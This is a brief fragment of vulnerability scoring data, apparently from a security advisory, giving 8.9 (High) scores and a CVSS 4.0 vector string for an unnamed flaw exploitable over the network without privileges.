Exploitation	8.9 (High)
Security requirements	8.9 (High)

CVSS 4.0 Vector String
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N